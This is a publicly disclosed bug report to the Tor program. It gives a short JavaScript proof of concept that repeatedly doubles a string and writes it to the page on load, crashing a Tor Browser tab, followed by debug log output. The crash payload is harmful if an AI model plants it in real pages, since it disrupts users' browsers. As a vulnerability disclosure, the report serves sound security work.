HexBrain

Tor · Report #281682

Crashes/Buffer at 0x2C0086,name=PBrowser::Msg_Destroy

Informativestatus
mediumseverity
24 Oct 2017disclosed

How it was found

Hi Team,

Steps to Reproduce:

  1. Open Tor
  2. Navigate to string.html Where string.html :
<script>
function tor()
 {
  
    var uristring = unescape("%u4141%u4141");
      
    for(i=0; i <= 50 ; ++i) 
 {
        uristring+=uristring;
        document.write(uristring);
    }    
    document.write(uristring);
}
</script>
</head>
<body onload="tor()">
</body>
  1. 'Gah! This tab has crashed.

However, running it to debug mode generates the below exception :

###!!! [Parent][MessageChannel] Error: (msgtype=0x2C0086,name=PBrowser::Msg_Destroy) Channel error: cannot send/recv

[Parent 23125] WARNING: waitpid failed pid:23182 errno:10: file /home/debian/build/tor-browser/ipc/chromium/src/base/process_util_posix.cc, line 268
Unable to update the static FcBlanks: 0x0600
Unable to update the static FcBlanks: 0x0601
Unable to update the static FcBlanks: 0x0602
Unable to update the static FcBlanks: 0x0603
Unable to update the static FcBlanks: 0x06dd
Unable to update the static FcBlanks: 0x070f
Unable to update the static FcBlanks: 0x2028
Unable to update the static FcBlanks: 0x2029
Unable to update the static FcBlanks: 0xfff9
Unable to update the static FcBlanks: 0xfffa
Unable to update the static FcBlanks: 0xfffb
[Parent 23125] WARNING: pipe error (58): Connection reset by peer: file /home/debian/build/tor-browser/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 322
[Parent 23125] WARNING: pipe error (54): Connection reset by peer: file /home/debian/build/tor-browser/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 322

###!!! [Parent][MessageChannel] Error: (msgtype=0x2C0086,name=PBrowser::Msg_Destroy) Channel error: cannot send/recv

[Parent 23125] WARNING: waitpid failed pid:23224 errno:10: file /home/debian/build/tor-browser/ipc/chromium/src/base/process_util_posix.cc, line 268 

WFM in Debain attaching string.html and PoC for reference, request you to please have a look.

Regards Dhiraj

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original